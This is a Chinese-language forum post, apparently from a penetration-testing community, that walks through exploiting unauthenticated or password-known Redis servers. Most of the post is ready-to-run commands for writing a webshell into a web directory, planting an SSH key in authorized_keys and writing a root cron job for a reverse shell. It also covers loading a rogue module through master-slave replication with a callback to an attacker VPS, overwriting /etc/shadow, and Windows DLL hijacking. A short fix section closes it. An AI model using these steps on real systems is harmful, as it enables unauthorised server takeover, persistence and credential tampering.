taibeihacker
Moderator
Redis 在渗透测试中常见的利用方式
本文主要以redis 未授權或已知redis 口令為前提進行漏洞利用
1 写入 webshell
條件:已知web 目錄絕對路徑
擁有該目錄下的可寫權限
查看所有鍵,創建新鍵,鍵值為webshell,這里以寫入phpinfo 進行一個演示。
因為創建新鍵賦鍵值會把原來的鍵值覆蓋,所以需要在賦值的時候需要查看所有的鍵,然後選擇一個沒有的鍵創建賦值。
1
2
3
keys *
set x '\n\n?php pnpinfo();\n'
get x

查看redis 數據庫配置信息,因為我們寫Webshell 會修改dir 和dbfilename,所以這裡查看配置信息主要記下原來的值,好在寫入後修改回來。
1
config get *


設置webshell 輸出目錄和文件名,然後寫入Webshell。
1
2
3
config set dir /var/www # 設置文件寫入目錄
config set dbfilename 1.php # 設置寫入文件名
save # 保存

最後,再還原數據庫配置。
2 写入 ssh 公钥
條件:已知啟動服務的用戶
擁有.ssh 目錄
允許使用基於密鑰認證的方式登陸
2.1 生成公私钥对
1ssh-keygen -t rsa # 生成公鑰和私鑰
2.2 利用 redis config 写文件
12
3
4
set x '\n\n公鑰內容\n'
config set dir /home/user/.ssh
config set dbfilename authorized_keys
save
2.3 利用公私钥对登录
1ssh -i id_rsa user@ip
3 写定时任务反弹 shell
條件:擁有計劃任務目錄寫權限
目標啟動計劃服務
1
2
3
4
5
6
7
keys * 查看所有鍵
set x '\n\n計劃任務內容\n\n'
config get *
config set dir /var/spool/cron
config set dbfilename root
save 保存,完成文件寫入
del x 刪除創建的x鍵
4 主从复制
4.1 加载扩展模块执行系统命令
具體的原理在之前漏洞復現的文章中已經解釋過。腳本地址:https://github.com/Dliv3/redis-rogue-server
主動連接模式:
參數說明
--rpasswd 如果目標Redis 服務開啟了認證功能,可以通過該選項指定密碼
--rhost 目標redis 服務IP
--rport 目標redis 服務端口,默認為6379
--lhost vps 的外網IP 地址
--lport vps 監控的端口,默認為21000
1
python3 redis-rogue-server.py --rhost target address --rport target port --lhost vps address --lport vps port

被動連接模式:
適用於目標Redis服務處於內網的情況
通過SSRF 攻擊Redis
內網Redis 未授權訪問/已知Redis 口令,Redis 需要反向連接redis rogue server
1
python3 redis-rogue-server.py --server-only
4.2 主从复制写入纯净文件
在linux 下,可以利用SYNC 主從同步,來直接寫入無雜質的文件,腳本如下:GitHub - r35tart/RedisWriteFile: 通过 Redis 主从写出无损文件
通过 Redis 主从写出无损文件. Contribute to r35tart/RedisWriteFile development by creating an account on GitHub.
也可以用無雜質覆寫Linux 中的/etc/shadow
1
python3 RedisWriteFile.py --rhost 172.17.0.2 --rport 6379 --lhost 172.17.0.1 --lport 4444 --rpath '/var/www' --rfile 'test.php' --lfile './phpinfo.php'


上述方法主要是針對linux,當windows 上未開啟web 服務時,該如何getshell?
下面介紹下redis 在windows 下的常見打法:
系統DLL 劫持(目標重啟或註銷)
針對特定軟件的DLL 劫持(目標一次點擊)
覆寫目標的快捷方式(目標一次點擊)
覆寫特定軟件的配置文件達到提權目的(目標無需點擊或一次點擊)
覆寫sethc.exe 等文件(攻擊方一次觸發)
參考:http://r3start.net/index.php/2020/05/25/717
5 漏洞修复
設置密碼認證盡量以低權限來運行Redis 服務
限制登錄IP